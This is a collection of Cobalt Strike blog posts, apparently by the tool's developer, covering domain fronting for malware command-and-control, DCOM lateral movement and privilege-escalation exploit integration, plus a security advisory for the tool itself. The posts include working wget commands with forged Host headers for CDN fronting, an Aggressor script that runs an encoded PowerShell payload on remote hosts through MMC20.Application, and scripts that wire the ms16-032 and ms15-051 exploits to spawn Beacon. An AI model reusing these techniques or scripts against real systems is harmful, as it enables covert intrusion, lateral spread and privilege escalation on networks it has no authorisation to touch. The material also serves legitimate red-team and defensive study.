High-reputation Redirectors and Domain Fronting

February 6, 2017

Working on Cobalt Strike, I get some insight into what folks are trying to do with it. Recently, the use of domain fronting for redirectors has come on my radar.

A redirector is a server that sits between your malware controller and the target network. Domain fronting is a collection of techniques to make use of other people’s domains and infrastructure as redirectors for your controller.

A trivial form of domain fronting is to stand up a node in Amazon’s EC2 and configure it as a redirector for your controller. The FQDN of your EC2 instance is an amazonaws.com subdomain. Your payloads may call home to this. While this is beneficial in some cases, this isn’t where things get interesting.

Domain fronting becomes interesting when used to appropriate high-reputation domains as redirectors for your controller.

Domain Fronting with Alternate Hosts

How is it possible to use a high-reputation domain that you don’t control? Let’s use Amazon’s CloudFront as an example.

CloudFront is a Content Delivery Network service. It provides its users a globally distributed cache for files hosted on their servers. This reduces load on the customer’s servers and allows the CDN to serve cached content from data centers close(r) to the requester. Each CloudFront configuration is called a “distribution”.

CloudFront identifies distributions by the FQDN used to request resources. Each CloudFront distribution has a unique cloudfront.net subdomain. CloudFront’s users also have the option to serve CloudFront cached objects via their own sub-domain. This is done by creating a DNS record that points to CloudFront and telling CloudFront to associate that DNS record with a specific distribution. Easy enough.

When a client connects to CloudFront, the DNS name that led there is lost information. CloudFront relies on other parts of the request to extract which DNS name the client wants resources from. In an HTTP request, this is the Host header.

One way to domain front is to configure a payload to call home to one host (e.g., media.startupunicorn.com) and set the Host header to something else (e.g., mydistribution.cloudfront.net). If the Host header is set right (and nothing else changes it), your cloudfront.net configuration will dictate what happens next.


Let’s examine what this looks like by hand.

The host malwarec2.losenolove.com is my Cobalt Strike web server, setup to serve /foo.txt. Naturally a request with wget works. (Note: I change wget’s User-Agent with –U because Cobalt Strike always returns a 404 for lynx, wget, and curl useragents).

root@kali:~# wget -U demo -q -O - http://malwarec2.losenolove.com/foo.txt
I'm a happy little malware controller. 🙂

d16b91n8fagr3u.cloudfront.net is my CloudFront distribution. I’ve configured it to serve objects from malwarec2.losenolove.com. A request to this host works to retrieve our file as well:

root@kali:~# wget -U demo -q -O - http://d16b91n8fagr3u.cloudfront.net/foo.txt
I'm a happy little malware controller. 🙂

What happens if we forge the Host header to a different identity? In this case, we get nothing back.

root@kali:~# wget -U demo -q -O - http://d16b91n8fagr3u.cloudfront.net/foo.txt --header "Host: notmydistribution.cloudfront.net"

a0.awsstatic.com is a domain name that points to CloudFront. I know about this domain because other resources on domain fronting use it as an example. If I request /foo.txt from this host, naturally it’s not going to give me anything.

root@kali:~# wget -U demo -q -O - http://a0.awsstatic.com/foo.txt

Let’s modify that slightly. We’ll use the a0.awsstatic.com domain (it all goes to the same place, right?)—but, we’ll forge the Host header to the FQDN of my CloudFront distribution. In this case, I get back the text file.

root@kali:~# wget -U demo -q -O - http://a0.awsstatic.com/foo.txt --header "Host: d16b91n8fagr3u.cloudfront.net"
I'm a happy little malware controller. 🙂

Here, I’ve used a0.awsstatic.com as my high-reputation domain name. There are other, far more interesting, options though.

Domain Fronting with Cobalt Strike

Tom Steele and Chris Patten from Optiv’s Attack and Penetration Team wrote Escape and Evasion Egressing Restricted Networks. This blog post shows how to setup a CloudFront distribution as a redirector for Cobalt Strike’s Beacon payload.

Once this is setup, you’ll want to decide which domain(s) you will use as redirectors. Let’s say a popular blog service uses CloudFront to serve static images. You may decide it makes sense to use this domain for your C2. Fine!

Next, I recommend you configure a Cobalt Strike Malleable C2 profile that matches something plausible on this domain. Malleable C2 is a Cobalt Strike technology that allows you, the product’s user, to shape Cobalt Strike’s Beacon traffic to look like other malware or something legitimate. If the domain serves static images, make a profile that looks like one of these static images. Keep in mind it’s possible to use only HTTP GETs (or even HTTP POSTs) for C2.

Once you have that part figured out, you’ll want to update your profile to insert your CloudFront distribution’s FQDN into the Host header. You can do this with Malleable C2’s header keyword:

http-get {
	client {
		header "Host" "[your distribution].cloudfront.net";

Make sure you do this in both the http-get -> client and http-post -> client Malleable C2 blocks. During a conversation, a friend remarked that they were stuck for awhile because they set the Host header in the http-get block, but not the http-post block. You have to set this in both places.

http-post {
	client {
		header "Host" "[your distribution].cloudfront.net";

Once this is setup, you can configure your Beacon payload to call home to different domains that point to CloudFront.

One limitation: there’s no option to set the Host header in Cobalt Strike’s stagers. You can work with stageless payloads though. Go to Attacks -> Packages -> Windows EXE (S) to export a Cobalt Strike stageless artifact. If you want to stage, I recommend that you configure the stager to connect to your cloudfront.net distribution directly or use another redirector.

This video walks through all of this, end-to-end:

 Finding High-reputation Domains for Use

My examples here use a0.awsstatic.com as an alternate host. Think of it as the Hello World of Domain Fronting. Vincent Yiu from MDSec took this a step further. He wrote a script to check likely CDN subdomains from a list of popular websites. His initial work found over three thousand subdomains that point to CloudFront and demonstrated that they work as alternate hosts with the technique discussed here.

A Note About RFC 2616, Section 14.23

So far, this blog post focuses on domain fronting over HTTP. If the target system goes through a proxy server, you’re in trouble. An RFC-compliant HTTP proxy server will rewrite the Host header in an HTTP request to match the domain in the URL it’s asked to retrieve. The Squid proxy documentation talks about this behavior. For many some networks, this means HTTP is a non-option.


Update 7 Feb 2017: This behavior matches my experiments with a Squid proxy locally, but don’t take it for granted that your target’s appliance(s) work this way. After I made this post live, Vincent Yiu took a look at a commercial secure web appliance and its behavior with these techniques. This appliance didn’t rewrite the Host header as expected. If you’re curious about how an appliance that enforces site categorization behaves with these techniques, Vincent’s latest video is worth a look:

You probably want SSL/TLS

What about SSL/TLS? That’s an option. This will likely get you through some proxy configurations. A device that intercepts SSL traffic will may make life more difficult. You may find that certain networks will exempt some high-reputation domains from SSL interception.


If you’d like to use the HTTPS Beacon with CloudFront:

  1. Be aware, CloudFront requires your web server to have a valid SSL certificate.
  2. Consult Cobalt Strike’s Malleable C2 documentation. It shows how to use a valid SSL certificate with Beacon.

Other Services

Here, I’ve given a lot of details on domain fronting with CloudFront. There are other fronting-capable web services where these (and other) techniques apply. The Camouflage at encryption layer: domain fronting blog post demonstrates these concepts with Google App Engine. The documentation for the Meek Pluggable Tor Transport also discusses several domain fronting options. Finally, Blocking-resistant communication through domain fronting describes this concept in detail, for multiple services.

My Thoughts

Domain Fronting is an interesting technique to use high-reputation domains for callbacks. It’s not the right tool for all situations though. An RFC compliant proxy will defeat HTTP requests. A proxy server that terminates and inspects SSL/TLS sessions will might handily defeat this as well. There’s probably wiggle room using this technique with whitelisted high-reputation domains. This makes locating domain options even more important! Remember, these are not CloudFront-only techniques.


Scripting Matt Nelson’s MMC20.Application Lateral Movement Technique

January 24, 2017

This is a short blog post with a long title. A few weeks ago, Matt Nelson published Lateral Movement Using the MMC20.APPLICATION COM Object (there’s a Part 2 as well!). The post documents an option, beyond the usual suspects (e.g., services, scheduled tasks, wmi, etc.), to ask a remote system to run a process for you.

Matt Nelson’s technique calls the ExecuteShellCommand method of the MMC20.Application COM object. One of the features of COM is its ability to remotely instantiate objects and call methods on them. By calling this method remotely, we can make the target system run a command to load our agent into memory or weaken the target’s configuration for other post-exploitation options.

In this post, I will show you how to add this technique to Cobalt Strike with Aggressor Script. Aggressor Script is Cobalt Strike’s scripting language to extend the Cobalt Strike client and add bots to your engagement. Making it easy to quickly add and use new TTPs from Cobalt Strike is very much one of Aggressor Script’s goals.

Here’s a script that adds a com-exec command to Beacon. This scripted command is similar to Beacon’s existing psexec, psexec_psh, wmi, and winrm commands for lateral movement.

# Lateral Movement alias
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

# register help for our alias
beacon_command_register("com-exec", "lateral movement with DCOM",
	"Synopsis: com-exec [target] [listener]\n\n" .
	"Run a payload on a target via DCOM MMC20.Application Object");

# here's our alias to collect our arguments
alias com-exec {
	if ($3 is $null) {
		# let the user choose a listener
			com_exec_go($bid, $target, $1);
		}, $bid => $1, $target => $2));
	else {
		# we have the needed arguments, pass them
		com_exec_go($1, $2, $3);

# this is the implementation of the attack
sub com_exec_go {
	local('$command $script $oneliner');

	# check if our listener exists
	if (listener_info($3) is $null) {
		berror($1, "Listener $3 does not exist");

	# state what we're doing.
	btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via DCOM");

	# generate a PowerShell one-liner to run our alias	
	$command = powershell($3, true, "x86");

	# remove "powershell.exe " from our command
	$command = strrep($command, "powershell.exe ", "");

	# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
	$script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
	$script .= $2;
	$script .=  '")).Document.ActiveView.ExecuteShellCommand("';
	$script .= 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe';
	$script .= '", $null, "';
	$script .= $command;
	$script .= '", "7")';

	# run the script we built up
	bpowershell!($1, $script);
	# complete staging process (for bind_pipe listeners)
	bstage($1, $2, $3);

This alias is similar to the lateral movement example in the Aggressor Script documentation. To use this alias: put the above into a script, load it, and use com-exec [target] [listener] within Beacon. If you type com-exec [target], Cobalt Strike will ask you which listener you want to use.

That’s it!


My First Go with BloodHound

December 14, 2016

I finally had a chance to sit down and play with BloodHound. This was an item on my hacker todo list for awhile now. In this blog post, I’ll take you through my initial steps setting up and using this tool. It’s my hope that this information will help you get started with BloodHound too.

What is BloodHound?

BloodHound is a tool to analyze and understand Active Directory Trust Relationships. For an offensive practitioner, this tool can highlight the hops you might take to reach a goal within a network. For a defensive practitioner, this tool is gold as it can show you the most likely paths an attacker might take. It’s a good exercise to decide which of these trust paths needs to exist and which you can eliminate.

BloodHound is open source (GPLv3) and its developers are Andy Robbins, Rohan Vazarkar, and Will Schroeder from Veris Group’s Adaptive Threat Division.

To get an initial taste of the tool, I recommend that you watch their Six Degrees of Domain Admin conference talk.


There are setup instructions on the BloodHound Wiki. These instructions do assume some familiarity with Neo4j. For the record, I have no familiarity with Neo4j. I found the Setting Up BloodHound on Debian Jessie post by Sanjiv Kawa very helpful. With Sanjiv’s information and the information on the BloodHound Wiki, I was able to get everything going on Kali Linux 2016 rolling without too much trouble.


Once BloodHound is running, you’ll want to bring some data into it and give it a spin. There is an example database, but I chose to pull BloodHound data from my test environment and import it into the tool instead.

BloodHound comes with a PowerShell script with several cmdlets that make this process easy. Get-BloodHoundData collects the data BloodHound needs. This cmdlet will return a PowerShell object. It’s necessary to pipe this object to another cmdlet to take some action on it. The Export-BloodHoundCSV cmdlet will dump the BloodHound data into three CSV files.

powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV

The CSV files will exist on the target where the above cmdlets were run. To import them into BloodHound: download the CSV files and use the Upload function in BloodHound’s interface.

From this point, you’re ready to run queries against this data. BloodHound has several pre-built queries and it’s also very easy to ask BloodHound to give you a trust path from one identity or system to another.

In this video I demonstrate these steps:


I think BloodHound is one of the neatest things to come into the red teamer’s arsenal this year. While my demo network is easy to go through by hand, imagine the use of this tool in a much larger environment with more complex trusts. There’s a lot of power here.


Cobalt Strike 3.6 – A Path for Privilege Escalation

December 8, 2016

Cobalt Strike 3.6 is now available. This release adds an API to use third-party privilege escalation exploits with Beacon and extends Malleable C2 to allow HTTP C&C without HTTP POST. This release also includes fixes and improvements for existing features.

Privilege Escalation API

This release adds an API to integrate privilege escalation exploits into Beacon’s elevate command.

Here’s what it looks like to integrate the PowerShell Empire variant of FuzzySec’s ms16-032 exploit into Beacon:

sub ms16_032_exploit {
	local('$script $oneliner');

	# acknowledge this command
	btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032");

	# generate a PowerShell script to run our Beacon listener
	$script = artifact($2, "powershell");

	# host this script within this Beacon
	$oneliner = beacon_host_script($1, $script);

	# task Beacon to run this exploit with our one-liner that runs Beacon
	bpowershell_import!($1, script_resource("modules/Invoke-MS16032.ps1"));
	bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");

	# give it another 10s to work.
	bpause($1, 10000);

	# handle staging
	bstage($1, $null, $2);

beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);

Let’s try something else! The Metasploit Framework implements many of its privilege escalation exploits as Reflective DLLs. The flow of these Metasploit privilege escalation exploits is: spawn a patsy process, inject the exploit logic into the patsy process, inject the payload stager shellcode into the patsy process, and pass a pointer to the injected shellcode when the exploit DLL is run.

What if it were possible to use these DLLs within Beacon, as-is? Thanks to Aggressor Script’s &bdllspawn function, this is now possible. This functions launches a Reflective DLL as a Beacon post-exploitation job. It can pass an arbitrary parameter to the DLL and it monitors STDOUT for output. The uses for this go far beyond privilege escalation! That said, here’s a script to use ms15_051_client_copy_image with Cobalt Strike’s Beacon payload:

sub ms15_051_exploit {
	# acknowledge this command
	btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051");

	# tune our parameters based on the target arch
	if (-is64 $1) {
		$arch   = "x64";
		$dll    = "modules/cve-2015-1701.x64.dll";
	else {
		$arch   = "x86";
		$dll    = "modules/cve-2015-1701.x86.dll";

	# generate our shellcode
	$stager = shellcode($2, false, $arch);

	# make sure we have shellcode for this listener (some stagers are x86 only)
	if ($stager is $null) {
		berror($1, "No $arch stager for listener ' $+ $2 $+ '");

	# spawn a Beacon post-ex job with the exploit DLL
	bdllspawn!($1, script_resource($dll), $stager, "ms15-051", 5000);

	# stage our payload (if this is a bind payload)
	bstage($1, $null, $2, $arch);

beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);

The goal of these functions is to make it easier for your team to integrate custom capability with Cobalt Strike and quickly adapt new exploits for use with Beacon as they become available.

The Elevate Kit

If you’d like more privilege escalation examples, check out the Elevate Kit. This is an Aggressor Script that demonstrates how to use PowerShell and Reflective DLL exploits with Cobalt Strike’s Beacon payload.

To use the Elevate Kit: download the elevate kit files and extract them to your Cobalt Strike client system. Go to Cobalt Strike -> Scripts, press Load, and select elevate.cna.

Within Beacon: type elevate by itself to see a list of loaded exploits. Type elevate [exploit name] [listener] to launch an exploit against the current Beacon session.

Malleable C2 – HTTP Beacon without HTTP POST

Take a look at this screenshot of Beacon communication with the webbug_getonly profile. Which screenshot is Beacon downloading tasks from Cobalt Strike? Which side is Beacon sending a response to Cobalt Strike?


This release adds a great deal of flexibility to Beacon’s HTTP communication via Malleable C2. You may now set the HTTP verb for Beacon’s http-get and http-post transactions. You may also push Beacon’s responses into the URI, a header, or a parameter. Beacon will automatically chunk its responses (and use multiple requests) to fit the constraints of an HTTP GET-only channel.

If you like to challenge analysts and craft profiles, these changes are a lot of fun. These changes also make it possible to “emulate” the HTTP traffic of different malware with much more fidelity.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.6. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

Important Trial Change

The Cobalt Strike 3.6 trial does not encrypt Beacon’s tasks and responses. The trial is built for evaluation in a lab environment. I would not use the 3.6 trial in a production environment. The licensed product does not have this limitation.


Agentless Post Exploitation

November 3, 2016

Agentless Post Exploitation is using system administration capabilities to meet post-exploitation objectives, without an agent on the target. It’s just evil system administration. This talk is a survey of agentless post-exploitation techniques. It covers how to execute commands, upload/download files, harvest credential material, user exploitation, and pivoting. Enjoy!

You may also download the slides as well.


Cobalt Strike Tapas II

October 19, 2016

This blog post is a collection of articles and links Cobalt Strike users may find interesting. Let’s jump into it:

1. Redirecting Cobalt Strike DNS Beacons

Redirectors are a popular offensive technique to obscure a C2 server’s actual source. They’re also nice because you can create and remove redirectors much easier than tearing down and standing up new C2 servers. I’ve written about HTTP redirectors in the past, but I’ve never had a good solution for DNS Beacons. rvrsh3ll to the rescue! Redirecting Cobalt Strike DNS Beacons shows how to stand up DNS redirectors for Cobalt Strike’s DNS Beacon.

2. Load Cobalt Strike’s Beacon via Windows NetShell

Using NetShell to Execute Evil DLLs and Persist on a Host describes how to load a “Helper DLL” into NetShell for persistence and code execution. Marc Smeets from Outflank B.V. adapted the post’s concepts into a POC to kick off Cobalt Strike’s Beacon with this technique.

3. MSSQL Agent Jobs for Command Execution

Optiv has a blog post that describes how to (ab)use MSSQL Agent Jobs to execute a payload. The payload in this post? Cobalt Strike’s Beacon. Here’s a demo of the attack:

4. portfwd command?

Cobalt Strike has reverse port forwards. Cobalt Strike also has SOCKS pivoting. Why not port forwards? Who knows! Fortunately, it’s easy enough to script a portfwd [target] [port] command with Aggressor Script. This command opens up [port] on the team server and forwards it through through the Beacon’s C2 path to the specified [host]:[port]. Unfortunately, the primitives exposed by CS’s team server don’t account for port bending. Maybe a future improvement?


Cobalt Strike 3.5.1 – Important Security Update

October 3, 2016

Cobalt Strike 3.5.1 is now available. This release addresses a remote code execution vulnerability in Cobalt Strike. This vulnerability was discovered after a report of in-the-wild exploitation by a third-party. Cobalt Strike 3.5 and all prior versions are vulnerable. This includes 2.5 and below. Read last week’s advisory for more details.

Strategic Cyber LLC advises all Cobalt Strike users to update to Cobalt Strike 3.5.1.

Strategic Cyber LLC urges all Cobalt Strike users to sign-up for the Cobalt Strike Technical Notes mailing list. This list is Strategic Cyber LLC’s primary means to notify users of updates, security advisories, and to communicate other urgent notices.

The rest of this post describes the vulnerability and the hardening measures taken to mitigate it and its variants. This post also provides update advice for users who use older versions of Cobalt Strike to support long-running engagements.

The Vulnerability

Cobalt Strike’s team server is a controller for the Beacon post-exploitation payload. Cobalt Strike has options to serve and control the Beacon payload over HTTP, HTTPS, and DNS. Embedded within the Beacon payload are directives that tell the Beacon payload how to communicate with its team server.

By design, any party can download the Beacon payload and its embedded configuration. This allows a Beacon to bootstrap on a newly compromised system and take steps to authenticate and communicate with its team server. Conversely, this means the information a malicious actor needs to establish communication with a team server is available to them.

Once Beacon runs, its first job is to securely send a randomly generated session key and other information about itself (username, IP address, process ID, etc.) to its team server. Cobalt Strike refers to this information as session metadata.

After this, the Beacon periodically connects to its team server, asks for tasks, sends response directives, and goes back to sleep. These response directives are a limited set of actions that a Beacon may ask its team server to execute. Most of the responses simply format and present output to the user (e.g., keystrokes, output from a command, etc.).

Some response directives work together to support more complicated tasks. For example, there are three response directives that support file downloads.

The first file response directive starts a file download. This directive accepts as input an integer file ID, an integer that is the file length, and a string with the full path to the file on the remote system. This directive notifies users that a download has begun and it opens a handle to write the downloaded file to disk. This directive then associates the file ID with this handle.

The second file response directive accepts an integer file ID and a binary blob. This directive writes the binary blob to the file handle that maps to the file ID for the current session. A Beacon session may make multiple requests with this directive to send a large file to a team server.

The third file response directive accepts an integer file ID. This directive formally informs the team server that the file download is complete.

The team server does not map response directives to previous tasks. Once a client establishes a session, it has freedom to request execution of any response directives in any order or quantity.

The team server stores files it downloads into a fixed path. That path is downloads/[internal IP address of session]/[path/to/remote file].

The [path/to/remote file] input comes from the first file response directive. The team server took steps to sanitize this value in an attempt to prevent a directory traversal attack. These steps were not best practice for the Java platform, but some measure was in place. The information provided to Strategic Cyber LLC did not indicate that this value was the source of the directory traversal input.

What other input is there? There’s the [internal IP address of the session]. The team server uses this value to organize downloaded files and to organize its logs. Where does this value come from? It comes from the session metadata. Who controls the session metadata? The Beacon session controls this value.

This led to the root cause of the issue: The team server extracts information from the session metadata and makes that information available to other features as trusted information about that session. The team server did not validate these metadata parameters for expected form or sanitize these parameters for malicious inputs.

Hot Fix 1 took steps to mitigate the in-the-wild exploit and buy time for further investigation. Hot Fix 2 mitigated the identified root cause of this vulnerability and potential variants by adding strict checks and sanitization to the session metadata.

The Hardening Measures

This release restores functionality degraded by last week’s Hot Fixes for this vulnerability, improves on Hot Fix 2’s measures, and hardens the Cobalt Strike team server against this vulnerability and potential variants.

Here are the changes:

1. This release reworks the download response directives to use randomly generated names for downloaded files stored on the team server. Information about the downloaded files (name, where they came from, etc.) is logged to logs/[date]/downloads.log. The View -> Downloads tab displays the real file name and original remote path. The Sync Files button works as it did prior to the Hot Fixes.

2. The team server now uses a safe path concatenation function throughout its codebase. This function compares the canonical paths of the parent and candidate result to make sure the result doesn’t break out of its parent.

3. This release adds a host_stage option to Malleable C2. This option controls whether or not Cobalt Strike hosts Beacon stages for download over HTTP, HTTPS, and DNS. If set to false, staging functionality will be unavailable, but this is useful for teams with a no-network staging policy.

4. The team server now refuses to process a session if any of its metadata fails validity checks. This is a minor improvement on the changes made in Hot Fix 2.

5. The team server now denies new sessions with no prior tasks access to most response directives.

Update Advice (for those with Live Sessions)

If you have live accesses and can’t afford to lose control of them, then you’ll want to approach an update with caution.

If you have Cobalt Strike 3.2 and below with live sessions, do not update the team server in place. The 3.5.1 team server cannot control Beacons in 3.2 and below. Migrate your accesses to a new server with 3.5.1.

If you have Cobalt Strike 3.3 with live sessions, you may stop your team server and update in place. After this update, you should migrate accesses to new infrastructure.

If you have Cobalt Strike 3.4 or 3.5 with live sessions, then you may stop your team server and update in place to 3.5.1. Cobalt Strike 3.5.1 can control sessions from 3.4 and 3.5 with little or no impact. The ssh and ssh-key commands will not work in Beacons from Cobalt Strike 3.4.

Update Instructions

Licensed users may use the update program to get the latest. Trial users must download the trial again.

To verify that you have Cobalt Strike 3.5.1, go to Help -> About. The software will report version 3.5.1.